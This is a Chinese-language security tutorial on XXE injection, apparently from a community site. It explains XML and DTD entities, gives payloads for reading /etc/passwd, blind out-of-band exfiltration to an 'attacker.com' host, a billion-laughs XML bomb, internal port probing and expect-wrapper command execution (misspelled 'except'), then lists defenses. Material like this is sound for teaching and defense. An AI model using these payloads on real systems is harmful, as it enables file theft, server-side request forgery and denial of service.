XML外部实体注入
字数 1180 2025-08-18 17:33:40
XML外部实体注入(XXE)漏洞全面解析
1. XML基础概念
XML(可扩展标记语言)是一种用于存储和传输数据的标记语言,具有以下特点:
- 类似HTML但设计用于传输和存储数据
- 跨平台、跨语言的数据交互标准
- 广泛应用于配置文件和应用程序数据交换
XML语法规则:
- 元素必须有关闭标签
- 标签对大小写敏感
- 必须正确嵌套
- 文档必须有根元素
- 属性值必须加引号
XML文档结构:
- XML文档声明(第一行)
- 文档类型定义(DTD,XXE漏洞所在)
- XML文档元素
2. DTD(文档类型定义)详解
DTD定义了XML文档的合法构建模块,是XXE漏洞的关键所在。
DTD的三种应用形式:
- 内部DTD:
<!DOCTYPE 根元素[定义内容]>
- 外部DTD:
<!DOCTYPE 根元素 SYSTEM "DTD文件路径">
- 内外部DTD结合:
<!DOCTYPE 根元素 SYSTEM "DTD文件路径" [定义内容]>
DTD实体类型
- 内部实体:
<!ENTITY 实体名称 "实体的值">
- 外部实体:
<!ENTITY 实体名称 SYSTEM "URL">
支持协议:file://, http://, php://filter等
- 参数实体:
<!ENTITY %实体名称 "值">
<!ENTITY %实体名称 SYSTEM "URL">
3. XXE漏洞原理与危害
XXE(XML External Entity)漏洞发生在应用程序解析XML输入时,允许引用外部实体。
漏洞危害:
- 任意文件读取
- 服务器端请求伪造(SSRF)
- 内网端口扫描
- 拒绝服务攻击(DoS)
- 远程代码执行(特定条件下)
4. XXE攻击方式详解
4.1 有回显的文件读取
测试代码:
<?php
$xml=simplexml_load_string($_GET['xml']);
print_r((string)$xml);
?>
Payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<root>&file;</root>
4.2 无回显的文件读取(Blind XXE)
使用外带数据(OOB)技术:
Payload:
<?xml version="1.0"?>
<!DOCTYPE test[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % dtd SYSTEM "http://attacker.com/evil.xml">
%dtd;
%send;
]>
evil.xml内容:
<!ENTITY % payload "<!ENTITY % send SYSTEM 'http://attacker.com/?content=%file;'>">
%payload;
4.3 拒绝服务攻击(XML炸弹)
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
4.4 内网探测
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY>
<!ENTITY xxe SYSTEM "http://127.0.0.1:80">
]>
<root>
通过响应判断端口是否开放。
4.5 命令执行(需expect扩展)
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "except://ls">
]>
<x>&f;</x>
5. XXE漏洞防御措施
-
禁用外部实体:
- PHP:
libxml_disable_entity_loader(true); - Java:设置
DocumentBuilderFactory的setFeature方法
- PHP:
-
使用安全的XML解析器:
- 使用不解析DTD的解析器
- 如Python的
defusedxml
-
输入验证:
- 过滤
<!DOCTYPE和<!ENTITY等关键字
- 过滤
-
限制实体大小:
- 防止XML炸弹攻击
-
使用JSON替代XML:
- 在不需要XML的场景下使用更安全的JSON
6. 实战测试建议
- 测试所有XML输入点
- 尝试修改Content-Type为
application/xml - 检查SOAP请求
- 测试文件上传功能(如SVG、DOCX等包含XML的文件)
- 测试PDF文件处理(某些PDF解析器会处理XML)
7. 参考资源
- OWASP XXE备忘单
- PortSwigger XXE实验室
- 先知社区XXE相关文章
- phpaudit-XXE靶场
- xxe-lab练习环境
通过系统学习XXE漏洞的原理、利用方式和防御措施,安全人员可以更好地发现和防范此类漏洞,保护Web应用安全。